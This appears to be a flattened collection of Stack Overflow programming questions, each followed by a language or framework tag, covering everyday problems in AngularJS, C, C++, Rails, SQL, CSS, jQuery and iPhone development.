show/hide divs depend on dropdown select in angularjs  i am trying to show a div depending on what is selected from the drop down list. for example  if a user selects  cash  from the list show cash div or if the user select  check  from the list show check div    i have put together sample but its incomplete and needs to wire-up    <a href= http://jsfiddle.net/abuhamzah/nq1eyj1v/  rel= noreferrer >http://jsfiddle.net/abuhamzah/nq1eyj1v/</a>    also when the user change the selection i would also like to clear the previous selection so when the user goes back to the previous selection they should not see.   <pre><code>&lt;div ng-controller= myctrl &gt;    &lt;div class= col-xs-12 &gt;       &lt;label class= col-xs-6 control-label &gt;type:&lt;/label&gt;       &lt;div class= col-xs-6 &gt;          &lt;select name= type  ng-model= payment.type  ng-dropdown required ng-change= changeme()  &gt;             &lt;option ng-option value= cash &gt;cash&lt;/option&gt;             &lt;option ng-option value= check &gt;check&lt;/option&gt;             &lt;option ng-option value= money order &gt;money order&lt;/option&gt;           &lt;/select&gt;       &lt;/div&gt;    &lt;/div&gt;    &lt;div class= col-xs-12  id= cash &gt;       &lt;div &gt;          &lt;label class= col-xs-6 control-label &gt;cash :&lt;/label&gt;          &lt;div class= col-xs-6 &gt;             &lt;input type= number  class= form-control   ng-model= payment.cash     /&gt;          &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;      &lt;div class= col-xs-12  id= check &gt;       &lt;div &gt;          &lt;label class= col-xs-6 control-label &gt;check :&lt;/label&gt;          &lt;div class= col-xs-6 &gt;             &lt;input type= number  class= form-control   ng-model= payment.check     /&gt;          &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;      &lt;div class= col-xs-12  id= money_order &gt;       &lt;div &gt;          &lt;label class= col-xs-6 control-label &gt;money_order :&lt;/label&gt;          &lt;div class= col-xs-6 &gt;             &lt;input type= number  class= form-control   ng-model= payment.money_order     /&gt;          &lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;  &lt;/div&gt; </code></pre>   //controller:   <pre><code>var myapp = angular.module( myapp  []);   function myctrl($scope) {    $scope.changeme = function() {     alert( here );   } } </code></pre>,angularjs
why don t we use <script src= xyz  /> in html5   the html5 tutorials i am currently looking at use   <pre><code>&lt;script scr= lib/jquery/dist/jquery.min.js &gt;&lt;/script&gt;  </code></pre>   instead of   <pre><code>&lt;script scr= lib/jquery/dist/jquery.min.js  /&gt; </code></pre>   is there a specific reason why the shorter version is not used,html
uibutton events  using iphone sdk 4.0. i have some uibuttons in a viewcontroller which when touched should play a tone  and when released stop playing the tone. this is done so that the tone length depends on how long the button is held down.     i use the touch down event for when i call [toneplay start] and the touchupinside event for when i call [toneplay stop].     a problem i have discovered is that if after touching a button i quickly navigate to another viewcontroller ( via tab bar button for example) the touchupinside event never fires and so the tone never stops playing unless i navigate back to the screen and hit the same button.    what would be the correct way to do this  the actual method to play the tone doesn t matter here its more which uibutton events i should really be using to get the above functionality.    thanks,iphone
.net detect user activity system-wide  i have a windows service that runs a cpu-intensive job.  i have it installed on several computers.  the problem is  when it runs the machine is wicked slow.  so i d like to have the service only run during periods of inactivity....just like a screensaver.    i know i can use low-level keyboard/mouse hooks like in <a href= http://www.codeproject.com/kb/system/globalsystemhook.aspx  rel= nofollow noreferrer >http://www.codeproject.com/kb/system/globalsystemhook.aspx</a>.  i m wondering though if windows has a more sophisticated api that is specifically for periods of user inactivity.      i know there are other apps that only run when user is not using keyboard/mouse and/or during periods of low cpu usage.  anybody know of an easy way to do it     thanks!,.net
how to delete a line from a file in python  i tried to use this: <a href= https://stackoverflow.com/questions/5947833/deleting-a-line-from-a-file-in-python >deleting a line from a file in python</a><a href= https://stackoverflow.com/questions/5947833/deleting-a-line-from-a-file-in-python ></a>. i changed the code a bit to suit my purposes  like so:   <pre><code>def deleteline():     f=open( cata.testprog   w+ )     content=f.readlines()     outp = []     print(f.readline())     for lines in f:         print(lines)         if(lines[:4]!= 0002 ):         #if the first four characters of a line do not equal             outp.append(lines)     print(outp)     f.writelines(outp)     f.close() </code></pre>   the problem is that the entire file gets replaced by an empty string and outp is equal to an empty list. my file is not empty  and i want to delete the line that begins with  0002 . printing f.readline() gave me an empty string. does anyone have any idea of how to fix it     thanks in advance,python
using division operator (/) on strings in javascript  i realized that in javascript all 101/100   101 /100  101/ 100  and  101 / 100  result in 1.01 (checked on chrome  ff and ie11). but i cannot find a piece of documentation regarding this behaviour.    therefore my question is if it is (cross-browser) safe to use this feature  and if it is a good practice to do so (or rather to use parseint before division if the variable can be a string),javascript
2 way delete relationship  i have a <code>user_relations</code> table.   <pre><code>user_id | related_user_id -------------------------   1     | 15   1     | 17   4     | 56  15     |  1   5     | 34 </code></pre>   when i destroy the row <code>(1 | 15)</code>  i want rails to automatically delete the parallel row <code>(15 | 1)</code>.    is there a rails way of doing this     this is the user_relation class:   <pre><code>class userrelation &lt; activerecord::base   belongs_to :user  :class_name =&gt;  user   :foreign_key =&gt;  user_id    belongs_to :related_user  :class_name =&gt;  user   :foreign_key =&gt;  related_user_id  end </code></pre>,ruby-on-rails
dev c++ access violation (segmentation fault) error  i was executing this code  when i encountered an error. by executing the debugger the error was so  an access violation (segmentation fault) error raised in you program .   <pre><code>/* statcstr.cpp * le stringhe sono in realta  array static */ #pragma hdrstop #include &lt;condefs.h&gt; #include &lt;string.h&gt; #include &lt;iostream.h&gt; //--------------------------------------------------------------------------- #pragma argsused int modifica(); void attesa(char *); int main(int argc  char* argv[]) { while( modifica() ); attesa( terminare ); return 0; } int modifica() { static unsigned int i = 0; // per contare all interno della stringa char *st =  stringa di tipo static\n ; if(i &lt; strlen(st)) { // conta i caratteri nella stringa cout &lt;&lt; st; // stampa la stringa st[i] =  x ; //&lt;--- this is the failing instruction i++; // punta al prossimo carattere return 1; } else return 0; // indica che la stringa e  finita } void attesa(char * str) { cout &lt;&lt;  \n\n\tpremere return per   &lt;&lt; str; cin.get(); } </code></pre>   could you please tell me how can i solve  thank you very much,c++
disable and enable buttons on java  i have a form with many data. in this form the user can click on  view report  button which will load a pdf file from the folder  if the report exists.    i m trying to find a way that the button will <strong>appear flat</strong> and won t be able to click it if there is no report to load and the button will <strong>appear regular</strong> and will be abled to click on if the report exists and can be load.    basically i m trying to avoid clicking on the button in any case and if the report exists it will be loaded and if not it will gives an error msg.    the goal is that just by looking at the button the user will know if there is a report or if there isn t.    how can i make it possible assuming i have 2 images ready (flat and regular).,java
can t open my blob in chrome  i have a little problem  i can t open my blob pdf on google chrome but on firefox it s work     what s wrong with this simply code    <pre><code>//create blob            var blob = new blob([data.data]  {type:  application/pdf });             //put name of blob            var fileofblob = new file([blob]  $rootscope.jourselect+ .pdf );             //create a url             var fileurl = url.createobjecturl(fileofblob);             //display on another window            window.open(fileurl); </code></pre>   i have something like this on chrome   <pre><code>    %pdf-1.4 %âãïó 3 0 obj &lt;&lt;/type /page /parent 1 0 r /mediabox [0 0 595.280 841.890] /trimbox [0.000 0.000 595.280 841.890] /resources 2 0 r /group &lt;&lt; /type /group /s /transparency /cs /devicergb &gt;&gt;  /contents 4 0 r&gt;&gt; endobj 4 0 obj &lt;&lt;/filter /flatedecode /length 687&gt;&gt; stream ¡ï+ëdtüg&gt;ktx´d‰ëe-®š:øù£þ/íôñüà3vƒ­åmzûùreë&lt;å-å~õê2rï=ôèšaç‰®j»ýqe©{€csú¡¹s:9rxc q*^w2  e»+`~évýýwks§ l¢#çöð«çpâk. yócr‰˜£…ôïm°xñçõ©z+®¢áüøêâ[ „ -áûþr%²ü¯6ß8vå^jªda”­öió¦ì üqœæ6é½òøx žiù hlkv†½uvöüï.h8rf3ciú±¢õf(½ªêæp´¸·åyçíîê xšä4sð¾]æý÷µ ›å+døc›‚6c¾7k¥8ü‡¹çgè`¤ÿçú/lo+çôslõ    tß¡‰ô•‰­äµ!ôðç{ê/ºf;á=¢v€}…=á£+‰}¨q„. øá†ÿúòßê¨ò€/!û[âò#¼«þïþa �uc™–hä ‚m¨œ¸„]7p€¿v 9ëÿª*}{1+œûlý§ø›‘öw¬pêqùsé—.ß÷d7ª3sæºf¶ ºåð~e‹|ä{mï¯aâ´•0|cw™u};êì4ýùfúe¨ïåswòpl6ÿgx™§7þeu\ž7võÿühªž;&gt;óapâs¡þù˜xüåîihödäœ·8ó�äò‚øèf¬bu×ìt¤³ænµµe÷)lö.cõåvò4–sb:wx­lü–´ã`    wç c‰&gt;o™ž-óéúë­aim¹ </code></pre>   ...    thanks for your help :d,angularjs
css pseudo class last child issue  i have website <a href= http://yournextleap.com/fresher-jobs  rel= nofollow >http://yournextleap.com/fresher-jobs</a> please find out last div having html   <pre><code>&lt;div data-recommendation=   data-id= 3790  data-guidance=   data-bucket= jobs &gt; &lt;div class= inn &gt; /* some code*/ &lt;/div&gt; &lt;/div&gt; </code></pre>   .inn having dashed bottom border and it s parent div is dynamically generated     <strong>what i want:</strong>   <ol> <li>the last div .inn must have border: none; </li> <li>for that i tried :last-child </li> <li>i don t want to use js or jquery</li> </ol>   i added class for main div (temporarily i removed it); now ther is only <code>&lt;div&gt;</code>  it was    <pre><code>&lt;div class= main &gt; </code></pre>   that s it  here was my css   <pre><code>.main:last-child .inn{ border: none;} </code></pre>   but it s not working,css
unpermitted parameter in nested attributes using paperclip  i m looking to add multiple images using paperclip via nested attributes in rails 5.    i m not sure what i m missing  but getting the following error referencing the attributes:   <pre><code>unpermitted parameter: :image </code></pre>   i m referencing the image attribute in my news controller attributes  see below. the image doesn t save to the database.    <strong>models</strong>   <pre><code>class news &lt; applicationrecord   has_many :images  dependent: :destroy   accepts_nested_attributes_for :images  allow_destroy: true end  class image &lt; applicationrecord   belongs_to :news  has_attached_file :image  :styles =&gt; { :show =&gt;  600x600&gt;  }  size: { less_than: 2.megabytes }   validates_attachment_content_type :image  :content_type =&gt; [ image/jpg    image/jpeg    image/gif    image/png ] end </code></pre>   <strong>controller</strong>   <pre><code>class newscontroller &lt; applicationcontroller   def new     @news = news.new     @news.images.build   end    def create     @news = news.new(news_params)      respond_to do |format|       if @news.save         format.html { redirect_to @news  notice:  news was successfully created.  }         format.json { render :show  status: :created  location: @news }       else         format.html { render :new }         format.json { render json: @news.errors  status: :unprocessable_entity }       end     end   end     private     def set_news       @news = news.find(params[:id])     end      def news_params       params.require(:news).permit(:title  :description  :category  images_attributes: [:id  :image  :news_id  :_destroy])     end end </code></pre>   <strong>form</strong>   <pre><code>&lt;%= form.fields_for :image do |img| %&gt;    &lt;%= img.file_field :image  multiple: true %&gt; &lt;% end%&gt; </code></pre>   <strong>sent results</strong>   <pre><code> parameters: { utf8 =&gt; ✓    authenticity_token =&gt; kfpv2dze6j9uhi4pu1qm+zgdwxbfadjd2kjlhmlmk7losumgb0vwqwa6zpjre0b38jssuzhykrd4g6xayegmwa==    news =&gt;{ title =&gt; news title    description =&gt; random text goes in here.    category =&gt;     image =&gt;{ image =&gt;#&lt;actiondispatch::http::uploadedfile:0x007feed58a5ba8 @tempfile=#&lt;tempfile:/var/folders/n1/dt5dwx0n7rx59_3bpvp64x400000gp/t/rackmultipart20170822-995-firof5.jpg&gt;  @original_filename= 03.jpg   @content_type= image/jpeg   @headers= content-disposition: form-data; name=\ news[image][image]\ ; filename=\ 03.jpg\ \r\ncontent-type: image/jpeg\r\n &gt;}}   commit =&gt; update news    id =&gt; 1-news-title } </code></pre>,ruby-on-rails
why does it wrap without endl;   i m a c++ beginner and i just wrote this simple program:   <pre><code>#include &lt;iostream&gt;  using namespace std;  int readnumber() {     cout &lt;&lt;  insert a number:  ;     int x;     cin &gt;&gt; x;     return x; }  void writeanswer(int x) {     cout &lt;&lt;  the sum is:   &lt;&lt; x &lt;&lt; endl; }  int main() {     int x = readnumber();     int y = readnumber();     int z = x + y;     writeanswer(z);     return 0; } </code></pre>   i don t understand why the output is like this:   <pre><code>insert a number: 3 insert a number: 4 the sum is: 7 </code></pre>   and not like:   <pre><code>insert a number: 3insert a number: 4the sum is: 7 </code></pre>   since in the <code>readnumber</code> function there is no <code>endl;</code>.    what am i missing     (of course i m happy with the result i get  but it s unexpected for me),c++
how to access uitextfield in uitableview through tag in several functions  i have several uitextfield in uitableview. i have assigned different tags to those fields but the problem that i am facing is accessing those uitextfield from several other functions.    how to access them  here is my code:-    uitextfield *textfield = (uitextfield *)[self.view viewwithtag:0];    can anyone help,iphone
datalist custom paging in asp.net  i am doing custom paging for a datalist.below method gets the required page numbers. my problem is the click event is not being fired during debug. can anyone tel where the problem is.   <pre><code> private void bindpagenumbers(int totalrecords)             {                  int counter = 0;                 for(int i=0;i&lt;totalrecords;i=i+5)                 {                     counter=counter+1;                     linkbutton lnk = new linkbutton();                     lnk.click += new eventhandler(lbl_click);                     lnk.id =  lnkpage  + (counter).tostring();                     lnk.text = (counter).tostring();                     pages.controls.add(lnk);                     label spacer = new label();                     spacer.text =  &amp;nbsp; ;                     pages.controls.add(spacer);                 }                             } void lbl_click(object sender  eventargs e)         {             linkbutton lnk = sender as linkbutton;             int currentpage = int.parse(lnk.text);             listdatabinding_paging(2  this.days  (currentpage-1)*5  5);         } </code></pre>   here  listdatabinding_paging  is the method from where the datalist is being filled.,asp.net
functional programming in c++17  some of the functional programming (fp) paradigm will be added in c++17. this code folds the product function over the input values  to print the product of all the numbers.   <pre><code>template&lt;typename... t&gt; auto fold_mul(t... t){     return (t * ...); } </code></pre>   usage   <pre><code>cout &lt;&lt; fold_mul(1  2  3  4  5) &lt;&lt;  \n ; </code></pre>   does anyone know if there are plans to expand this <em>higher order functions</em> and <em>no side-effects</em> like a fully featured fp language,c++
sql insert statement  i want to do the following:    i have a table called name which has an id field.    i have another blank table called transcript    i want to take the id#s from name and insert them into transcript where they do not exist.    secondly i want to create 10 records with a different course# value in the transcript table.    therefore for each name.id i would like 10 records in transcript.id with a different value under course # ie; 101 201 301,sql
add a static option with ng-options angularjs  i ust use ng-options in a <code>select</code> element in angular js. and in <code>select</code> select i just wants to add a extra options at the beginning of options.my code ===>   <pre><code>&lt;div class= form-group &gt;      &lt;select class= form-control select2  ng-options= (o.fullname+  ( +o.email+ ) ) for o in subteamuserlist track by o.id  name= selecteduserlist  ng-model= selecteduserlist  multiple data-placeholder= search by user  style= width: 100%; &gt;             &lt;option value=   disabled&gt;select a user&lt;/option&gt;       &lt;/select&gt; &lt;/div&gt; </code></pre>   <a href= https://i.stack.imgur.com/jeizc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jeizc.png  alt= enter image description here ></a>    that is not working for me   i dont know why.then i search on net and found some solution like => <a href= https://stackoverflow.com/questions/22312150/angularjs-add-a-static-option-with-ng-options >angularjs - add a static option with ng-options</a> <a href= https://stackoverflow.com/questions/30604938/add-two-extra-options-to-a-select-list-with-ngoptions-on-it >add two extra options to a select list with ngoptions on it</a> <a href= https://stackoverflow.com/questions/28373770/angular-ng-options-is-there-a-way-to-add-an-option-when-the-model-contains-a-v >angular ng-options - is there a way to add an option when the model contains a value not present in the options list </a>    after see above solutions i tried =>   <pre><code>     &lt;div class= form-group &gt;         &lt;select class= form-control select2  ng-options=   name= selecteduserlist  ng-model= selecteduserlist  multiple data-placeholder= search by user  style= width: 100%; &gt;               &lt;option value=   disabled&gt;select a user&lt;/option&gt;               &lt;option ng-repeat= (o.fullname+  ( +o.email+ ) ) for o in subteamuserlist track by o.id &gt;{{(o.fullname+  ( +o.email+ ) )}}&lt;/option&gt;         &lt;/select&gt;     &lt;/div&gt; </code></pre>   after doing this this is also showing something like => <a href= https://i.stack.imgur.com/1sr3h.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1sr3h.png  alt= enter image description here ></a> but that is also not working for me i dont know why  can anybody help me,angularjs
detect if an iphone app with given apple id and bundle id is already installed  is it possible to detect if an app with the given bundle id and apple id is already installed on the device  the app does not implement a custom url scheme.,iphone
c++ is it legal to declare pointers and array on the same line   the following code works but i have been told that it doesn t compile with gcc 3.4.2 with visual c++ 2010 and may be illegal:   <pre><code>int ar1[]{0 1 2 3 4 5 6 7 8 9}      *ptr1 = ar1      ar2[]{0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18}      *ptr2 = ar2; </code></pre>   apparently you need to make some modifications for it to work (something like that):   <pre><code>int ar1[]{0 1 2 3 4 5 6 7 8 9}; int *ptr1 = ar1; int ar2[]{0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18}; int *ptr2 = ar2; </code></pre>   is that right  can t arrays and pointers be declared together     (the code compiles fine on qt + gcc 4.8),c++
angularjs modularization -- my modules can t be found  what am i doing wrong   my old structure was app/controllers  app/services  app/directives  etc. with all of the controllers in the controllers directory and so on.    now i am trying to leverage modularization but i m having troubles. i should ve probably done them one by one but now i ve done them all without testing any :d    this is my error  repeated the same thing for each module:   <blockquote>    angular.js:68 uncaught error: [$injector:nomod] module  app.login  is not available! you either misspelled the module name or forgot to load it. if registering a module ensure that you specify the dependencies as the second argument.  </blockquote>   can someone please explain what i m missing/misunderstanding/doing wrong     my current structure is:   <pre><code>app     login       login.controller.js       login.js       login.html    signup       signup.controller.js       signup.js       signup.html    common       services          auth.service.js       filters       directives    app.js </code></pre>   ... and so on.     in app.js  i have:   <pre><code>(function () {       use strict ;      angular         .module( app   [             // third party plugins              ui.router    permission    satellizer    angular-loading-bar                // auth modules              app.login    app.signup    app.logout    app.passwordforgot    app.passwordreset          ])          // rest of code....  })(); </code></pre>   and in all my modules  i have a similar structure. here is login.js:   <pre><code>(function() {       use strict ;      angular         .module( app.login )         .config([ $stateprovider   config]);      function config($stateprovider) {         $stateprovider             .state( login   {                 url:  /login                   data: {                     permissions: {                         except: [ isloggedin ]                          redirectto:  dashboard.home                      }                 }                  templateurl:  app/login/login.html                   controller:  logincontroller as login              });     }  })(); </code></pre>   and in my index.blade.php (using laravel as back end) i have:   <pre><code>&lt;script type= text/javascript  src= {{ asset( bower_components/angular/angular.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( bower_components/angular-ui-router/release/angular-ui-router.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( bower_components/satellizer/satellizer.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( bower_components/angular-permission/dist/angular-permission.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( bower_components/angular-jwt/dist/angular-jwt.min.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( bower_components/angular-loading-bar/build/loading-bar.min.js ) }} &gt;&lt;/script&gt;  &lt;script type= text/javascript  src= {{ asset( app/app.js ) }} &gt;&lt;/script&gt;  &lt;!-- common --&gt; &lt;script type= text/javascript  src= {{ asset( app/common/services/authservice.js ) }} &gt;&lt;/script&gt;  &lt;!-- login --&gt; &lt;script type= text/javascript  src= {{ asset( app/login/login.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( app/login/login.controller.js ) }} &gt;&lt;/script&gt;  &lt;!-- signup --&gt; &lt;script type= text/javascript  src= {{ asset( app/signup/signup.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( app/signup/signup.controller.js ) }} &gt;&lt;/script&gt;  &lt;!-- logout --&gt; &lt;script type= text/javascript  src= {{ asset( app/logout/logout.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( app/logout/logout.controller.js ) }} &gt;&lt;/script&gt;  &lt;!-- password forgot --&gt; &lt;script type= text/javascript  src= {{ asset( app/passwordforgot/passwordforgot.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( app/passwordforgot/passwordforgot.controller.js ) }} &gt;&lt;/script&gt;  &lt;!-- password reset --&gt; &lt;script type= text/javascript  src= {{ asset( app/passwordreset/passwordreset.js ) }} &gt;&lt;/script&gt; &lt;script type= text/javascript  src= {{ asset( app/passwordreset/passwordreset.controller.js ) }} &gt;&lt;/script&gt; </code></pre>,angularjs
will there be an update on miscutil for .net 4   i was wondering about <a href= http://www.yoda.arachsys.com/csharp/miscutil/  rel= noreferrer >miscutil</a> maintained by jon skeet if i am not mistaken. will there be an update for .net 4 or is the code moved somewhere else by now  what i mean is that the solution type is for vs 2008 and the solution needs to be converted  which works but i was just wandering if that is already done in some place  for reasons of easy packaging i would prefer a wget  path to zipfile  &amp; extract deployment  as our it department is only 3 people  the less issue to worry about the better it is. its just a marginal issue  the library itself works fairly well so far.,.net
angular create a template on the fly  i ve been reading alot about the route provider and how you can load different templates by specifying the url path.    is there a way where instead of providing a path to template  we could programatically generate a view on the fly and attach it to the controller,angularjs
c function not working  i m new to c programming  and i was trying a function to swap the variables of an array  but i just cannot get it to work  and i don t know why. can you please help me  thank you in advance.    here s the code:   <pre><code>#include &lt;stdio.h&gt;  void inplace_swap(int *x  int *y){     if (x!=y){         *y = *x ^ *y;          *x = *x ^ *y;          *y = *x ^ *y;      } }  void reverse_array(int a[]  int cnt){     int first  last;     for (first = 0  last = cnt-1; first &lt;= last; first++  last--)         inplace_swap(&amp;a[first]  &amp;a[last]); }  int main(){     //int eight = 80  seven = 70;     //inplace_swap(&amp;eight  &amp;seven);     //printf( new eight value is %d\n   eight);     //printf( new seven value is %d\n   seven);       int arr[5] = {1 2 3};     reverse_array(&amp;arr[3]  2);     printf( %d\n   arr[1]);     //int i;     //for (i=0;i &lt; 4;i++) {     //  printf( %d\n   arr[i]);     //} } </code></pre>,c
add line after some text  i m trying to get a line to sit after some text.    <pre><code>.dash span {  background-color: white;  padding-right: 5px;  }  .dash:after {  content:   ;  position: absolute;  bottom: 0;  left: 0;  right: 0;  height: 0.5em;  border-top: 1px solid #000;  z-index: -1; } </code></pre>   <a href= http://jsfiddle.net/pkm5r/62/  rel= nofollow >http://jsfiddle.net/pkm5r/62/</a>,css
counting the depth of loops  i am not sure whether this question is suited for so or not. i will delete if it is not.    i have to review a few kloc of code. as a part of it i have to find out the depth of loops and condition checking. [please see the examples below]    if it is more than five means i need to note it down.     my question is  is there any tool that could do this for me   i did searching the google  but did not get an answer.    ex 1 : <code>for {}</code> // block depth 1    ex 2 : <code>for { if () {} }</code> // block depth 2    ex 3 : <code>for () { for () { if() {} } }</code> //block depth 3,c
c# - read numbers from a textfile and output averages  i ve looked at previous posts and none have the answer that i m looking for. i m new to c# and trying to get this little application to work. i have a file named  hours.txt  with 30 numbers in it and i want to read the file and output the average and the highest number  but i can t seem to get it to work. i ve tried changing the array to a string but i m just really stuck on how to get this to work. any help or tips would be greatly appreciated.   <pre><code>        int[] hoursarray = new int[30];         streamreader filesr = new streamreader( hours.txt );         int counter = 0;                                                      string line =   ;                     line = filesr.readline();                     while (line != null)         {             hoursarray[counter] = line;             counter = counter + 1;             line = filesr.readline();         }         filesr.close();              int total = 0;         double average = 0;         for (int index = 0; index &lt; hoursarray.length; index++)         {             total = total + hoursarray[index];         }         average = (double)total / hoursarray.length;          int high = hoursarray[0];         for (int index = 1; index &lt; hoursarray.length; index++)         {             if (hoursarray[index] &gt; high)             {                 high = hoursarray[index];             }         }         console.writeline( highest number is:   + high);         console.writeline( the average is:   + average);         console.readline(); </code></pre>,c#
mysql installation issues mysql-5.7.18-linux-glibc2.5-x86_64.tar  image of problem    <img src= https://i.stack.imgur.com/cxse5.png  alt= enter image description here >    what s the problem,mysql
find records where csv column values match  i am making a website. in the database i have a table of articles that kind of looks like this:   <pre><code>id | name    | cats                           | etc. ------------------------------------------------------ 1  |  alice  |  this  that  those  them       |  2  |  bob    |  this  that  those             | 3  |  carol  |  this  banana  cupcake         | 4  |  dave   |  other  unrelated  words       | 5  |  errol  |  those  them  fishstick        | </code></pre>   when viewing an article i want to also show some of the most related articles  based on the amount of categories in common.    for example  if i was viewing the alice article i would want to pick out (in order of preference) bob (3 cats in common)  errol(2)  carol(1).    i am aware that this would be easier if the data was normalised (i could for example do <a href= https://stackoverflow.com/questions/4717093/mysql-find-related-articles >this</a>) but unfortunately that s not really an option.,mysql
how to delete a row from an uitableview and insert it in a second uitableview in iphone   i have developed a program in iphone which manage cards  the main functionality is create cards (question  answer) and show them in a uitableview (this so far is working properly). each card have two buttons namely: ok-false  my idea is that when the user click on ok button  this card will appear in a new uitableview2 and deleted from the uitableview1(i do not know how to do it). in advance i add a new attribute to my card table in sqlite namely counter which will increase anytime that the user click on ok  with the idea behind that when the counter increase then will perform the function that i need  delete from current uitableview and insert in new uitableview  if the user click false  then the card will be deleted from tableview2 and inserted in tableview1. i will appreciate any ideas folks.    thanks!,iphone
segfault in c program  i have a segmentation fault upon executing this program and all i know is that segfault is happening after two of the gets commands and after the next scanf command. i know gets isn t good command to use in here but my university is using it so... here is the code of my main function and functions that program uses and i would appreciate if someone could said to me where the problem persists. the code is written in croatian but nothing really particular isnt said in there so don t mind that    my main program   <pre><code>#include &lt;stdio.h&gt; #include  funkcije.h  #define max 300  int main (void) {     char niz1[max+1]  podniz[6]  niz2[max+1];     int dulj_pod = 0  kontrola  duljina1 = 0  duljina2 = 0  kraj  brojac = 0  i;     float slicnost;     printf( ucitaj prvi niz &gt;  );     gets(niz1);     printf( ucitaj drugi niz &gt;  );     gets(niz2);     while (niz1[duljina1] !=  \0 )         duljina1++;     while (niz2[duljina2] !=  \0 )         duljina2++;     printf( ucitaj duljinu podniza :  );     do {         scanf( %d   &amp;dulj_pod);     } while ((dulj_pod &lt; 2 || dulj_pod &gt; 5) || (dulj_pod &gt; duljina1 || dulj_pod &gt; duljina2));     kraj = duljina1 - dulj_pod;     for (i=0; i&lt;=kraj; i++) {         genpodniz (niz1  podniz  i  dulj_pod);         kontrola = sadrzipodniz (niz2  podniz);         if (kontrola == 1)             brojac++;     }     slicnost = (float)brojac / (kraj+1);     printf( prvi niz : %s\ndrugi niz : %s\nduljina podniza za usporedbu nizova : %d\n   niz1  niz2  dulj_pod);     printf( slicnost nizova  %s  i  %s  iznosi %f.\n   niz1  niz2  slicnost);     return 0; }  </code></pre>   and functions   <pre><code>#include  funkcije.h   void genpodniz (char *niz  char *podniz  int pocpozicija  int duljpodniz) {     int i  j=0;     for (i=0; i&lt;duljpodniz; i++  j++) {         *(podniz+j) = *(niz+pocpozicija+i);     }     *(podniz+j) =  \0 ; }  int sadrzipodniz (char *niz  char *podniz) {     int kontrola  i = 0  j = 0  duljina1 = 0  duljina2 = 0  poz = 0;     while (*(niz+duljina1) !=  \0 )         duljina1++;      while (*(niz+duljina2) !=  \0 )         duljina2++;     while (j &lt; duljina2) {         if (*(niz+i) == *(podniz+j)) {             kontrola = 1;             i++;             j++;         }         else {             kontrola = 0;             j = 0;             ++poz;             i = poz;         }     }      return kontrola; } </code></pre>,c
how to define some configuration variables  as the title indicates   i have to read some values from xml file and use this values in different classes which are in different files.     which way should i use to define these variables     should i use a class to hold these variables  should i use a namespace to hold these variables  should i define them as static global variables (if it is possible)     in java i would just define them as public static variables and use class.xx to access them  but in c++ this does not work i think.,c++
mysql table question. [multi part question]  i was wondering if i allowed my users to pick which categories their post will be displayed in and they can pick multiple categories from one to many.    <ul> <li>how would i store the categories id value or values in the database  </li> <li>should i group each value together for example  45 12 45 78 or should i store one value at a time  </li> <li>and how would my table structure look like  </li> <li>or should i add it to an existing table </li> </ul>,mysql
sql operator like  in sql can you use the like operator to see if the first  2 letters of a value match the last 2 letters in another value      if a have attribute year  and attribute phone number   i want to select these rows  which match the description above  eg: year(19<strong>96</strong>) and phone number(<strong>96</strong>55771243);,sql
javascript function on submit button to validate if cells are emply for a particular column of gridview  i have binded a custom datatable to gridview. now i want to validate if the value of cells of the column  documentsattached  is yes or no. if it is yes  then an alert message displaying   documents are attached . if no  a pop up box with message would you like to continue  yes/no...if yes  is chosen my submit button should go through otherwise no.    hope i made sense until now. below is my aspx   <pre><code> &lt;asp:gridview id= uploaddocs  autogeneratecolumns= false  runat= server            enableviewstate= true  onrowdatabound= dgdupload_rowdatabound  style= margin-top: 0px &gt;   &lt;columns&gt;  &lt;asp:hyperlinkfield  datatextfield= docname  headertext= invoice file name  datanavigateurlfields= filepath  datanavigateurlformatstring= {0} &gt;    &lt;/asp:hyperlinkfield&gt;   &lt;asp:boundfield headertext= document included  datafield= documentsattached  readonly= true  /&gt;  &lt;asp:boundfield headertext= identifier  datafield= identifier  visible= false /&gt;  &lt;asp:commandfield buttontype= button  headertext= delete  showdeletebutton= true /&gt; &lt;/columns&gt;  &lt;/asp:gridview&gt;    &lt;asp:button id= btnsubmit  runat= server  text= save to massuploadlist  /&gt; </code></pre>   can anyone help me to achieve this please.,asp.net
jquery next selector next() question <pre><code>+----------------------------------------------------------------------+ | this is div .content                                                 | |                                                                      | |              +----------------+                                      | |              | .left_content  |                                      |  |              | input inside   |                                      |              |              +----------------+                                      | |                                                                      | |                                                                      | |                                                      +------------+  | |                                                      |     span   |  | |                                                      +------------+  | |                                                                      | +----------------------------------------------------------------------+ </code></pre>   hello all  i m trying to access the span element with jquery but i have some kind of error  here is the deal <code>.content</code> is main div   <code>.left_content</code> div is inside it and <code>span</code> is inside <code>.content</code> but outside <code>.left_content</code>.     now i can easily access <code>span</code> by using <code>.content span</code>  but since .content  .left_content and span are repeating throughout the website i want to access these elements by clicking on the <code>input inside .left_content div</code>.    so finally i come to my question (from input inside .left_content perspective)  how to get div <code>.content</code>   <code>.left_content</code> and <code>span</code> selected     so far what i ve only managed to do is to get <code>.left_content</code> selector by using <code>$(this)parent( div:first )</code>,jquery
